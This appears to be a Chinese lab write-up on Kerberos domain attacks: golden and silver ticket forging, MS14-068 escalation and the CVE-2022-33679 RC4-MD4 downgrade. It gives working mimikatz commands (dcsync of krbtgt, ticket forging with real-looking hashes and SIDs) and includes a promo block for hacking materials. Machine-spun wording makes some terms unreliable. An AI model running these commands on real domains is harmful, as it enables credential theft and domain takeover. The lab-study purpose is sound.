前言

最近twitter上关于CVE,应该是CVE-2022-33679比较火了,可是材料也是比较少,下面来唠唠吧。

kerberos认证原理

先了解几个概念

认证服务(Authentication server):简称AS,认证客户端身份供给认证服务。

域控服务器(Domain Control):即DC。

服务收据(Server Ticket):简称ST,在Kerberos认证中,客户端恳求的服务通过ST收据认证。

收据颁发服务(Ticket Granting server):简称TGS,颁布服务收据(server ticket)。

活动目录(Active Directory):简称AD,包括了域中一切的对象(用户,计算机,组等)

KDC密钥颁布中心(KDC):域控担任

特权特点证书(Privilege Attribute Certificate):简称PAC,所包括的是各种授权信息, 例如用户所属的用户组, 用户所具有的权限等。

下图为Kerberos的认证进程:

域0day-(CVE-2022-33679)简单运用吗

一个完好的认证流程基本上分为8个进程

1.客户端用户向KDC发送恳求,包括用户名,主机名和时刻戳。AS接纳恳求

2.AS对客户端用户身份认证后给客户端回来收据颁发收据

3.客户端运用TGT到收据分发服务(TGS)恳求拜访服务器A的服务收据(ST)

4.TGS给客户端分发ST

5.客户端运用ST恳求服务器A

6.服务器A解密ST收据得到特权特点证书PAC,服务器A恳求域控AD需承认用户权限

7.域控将PAC解密获取用户SID和用户权限的成果回来给服务器A

8.用户身份符合则进行第最终的回来信息,整个Kerberos认证完毕。

黄金收据

原理:

Kerberos黄金收据是有用的TGT Kerberos收据,是由域Kerberos帐户加密和签名的 。TGT仅用于向域控制器上的KDC服务证明用户已被其他域控制器认证。TGT被KRBTGT暗码散列加密而且能够被域中的任何KDC服务解密的。

相当于跳过上面图片中过的进程一和进程二,直接假造TGT

域0day-(CVE-2022-33679)简单运用吗

试验

这里运用星海安全试验室的靶场环境

环境:192.168.10.10 域控DC 域:Starseaseclab.com 操作系统:win-server2012R2

域内主机:192.168.10.14 操作系统:win7

运用条件:

域管SID

域名

域控KRBTGT账号的HASHntlm(hash)

【—-帮助网安学习,材料@~w:yj009991,补白“”获取!】
① 网安学习生长途径思维导图
② 60+网安经典常用工具包
③ 100+SRC剖析报告
④ 150+网安攻防实战技能电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

whoami /all

域0day-(CVE-2022-33679)简单运用吗

lsadump::dcsync /domain:starseaseclab.com /user:krbtgt

域0day-(CVE-2022-33679)简单运用吗

sid:S-1-5-21-1719736279-3906200060-616816393

htlm(hash):5e31f755b33b621bede0946b044908e4

domian:starseaseclab.com

域内主机win-7

域0day-(CVE-2022-33679)简单运用吗

privilege::debug​kerberos::purge  //清空收据避免缓存影响​Kerberos::golden /user:administrator /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /krbtgt:5e31f755b33b621bede0946b044908e4  /ptt    //假造金票注入内存

域0day-(CVE-2022-33679)简单运用吗

白银收据

原理

黄金收据是假造TGT,在kerberos认证中疏忽前两步,白银收据便是直接假造ST

域0day-(CVE-2022-33679)简单运用吗

whoami /all

域0day-(CVE-2022-33679)简单运用吗

sid: S-1-5-21-1719736279-3906200060-616816393

sekurlsa::logonpasswords

域0day-(CVE-2022-33679)简单运用吗

假造收据

Kerberos::golden /domain:starseaseclab.com /sid:S-1-5-21-1719736279-3906200060-616816393 /target:win-dc.starseaseclab.com /service:cifs /rc4:161cff084477fe596a5db81874498a24 /user:user1 /ptt //假造银票注入内存

域0day-(CVE-2022-33679)简单运用吗

运用MS14-068(CVE-2016-6324)

域内用户提升至域控

条件 :

域内用户名以及hash

sid值

域名

域控ip

 ms-14-068.exe -u   域用户@域名  -p 域用户暗码 -s 域用户sid -d 域控ip kerberos::ptc "收据"   //将收据注入内存

黄金收据和白银收据的区别

拜访权限不同:​Golden Ticket:假造TGT,能够获取任何Kerberos服务权限Silver Ticket:假造TGS,只能拜访指定的服务​加密方式不同:​Golden Ticket由Kerberos的Hash加密Silver Ticket由服务账号(一般为计算机账户)Hash加密​认证流程不同:Golden Ticket的运用进程需求拜访域控,Silver Ticket不需求

CVE-2022-33679

进犯的进程分为下面几个进程

  1. 进犯者发送一个没有预授权的 AS-REQ 恳求 RC4-MD4 密钥加密。如果用户不需求预授权,KDC 将发回一个 AS-REP,其中包括运用 RC4-MD4 加密的会话密钥等。

  2. 依据加密数据的长度,计算出加密密钥开端前的0x15字节,只要总长度就能够猜到。可能需求发送适当长的主机地址来填充 ASN1 编码数据,以便将密钥对齐到合适的方位。

  3. 依据计算出的ASN1数据和加密后的KDC-REP生成密钥流的前0x2D字节(密文中前0x18字节全为0)。

  4. 运用密钥流加密 PA-ENC-TIMESTAMP 预认证缓冲区,如果仅运用 KerberosTime,则大小将刚好为 0x15 字节,即带有初始填充的 0x2D。

  5. 在新的 AS-REQ 中发送加密的时刻戳以验证密钥流是否正确。

如果将客户端和 KDC 降级为运用 RC4-MD4,进犯者能够让 KDC 运用 RC4-MD4 会话密钥作为初始 TGT,它只要 40 位的熵,而且在相关的票证过期之前完成暴力破解,可为该用户宣布恣意服务票证的 TGS 恳求。

进犯图解

在恳求TGT的第一阶段爆炸第一个字节的图解

域0day-(CVE-2022-33679)简单运用吗

获取最终一个字节的进程图解

域0day-(CVE-2022-33679)简单运用吗

CVE提交者的POC显示已删去,github上发表的EXP已经没了。

域0day-(CVE-2022-33679)简单运用吗

项目下载地址:

https://github.com/GhostPack/Rubeus

需求从头编译一下,Rubeus的V2.1.2实际上也没找到历史发布版别,目前最新版别未V2.2.1

域0day-(CVE-2022-33679)简单运用吗

该版别无法运用cve-2022-33679假造TGT。该缝隙就运用方式来说跟黄金收据有点儿相似,通过EXP绕过Kerberos认证协议中的第一和第二进程,直接向TGS恳求ST。

域0day-(CVE-2022-33679)简单运用吗

总结

材料仍是有限,没有复现成功,可是就原理来说,结合Kerberos认证原理仍是比较清晰。CVE-2022-33679的运用也是有运用条件,需求设置“不需求 Kerberos 预身份验证”用户帐户控制标志,并配置了 RC4 密钥。所以在运用手法上来讲应该是比较苛刻。(如有错误还请各位指出)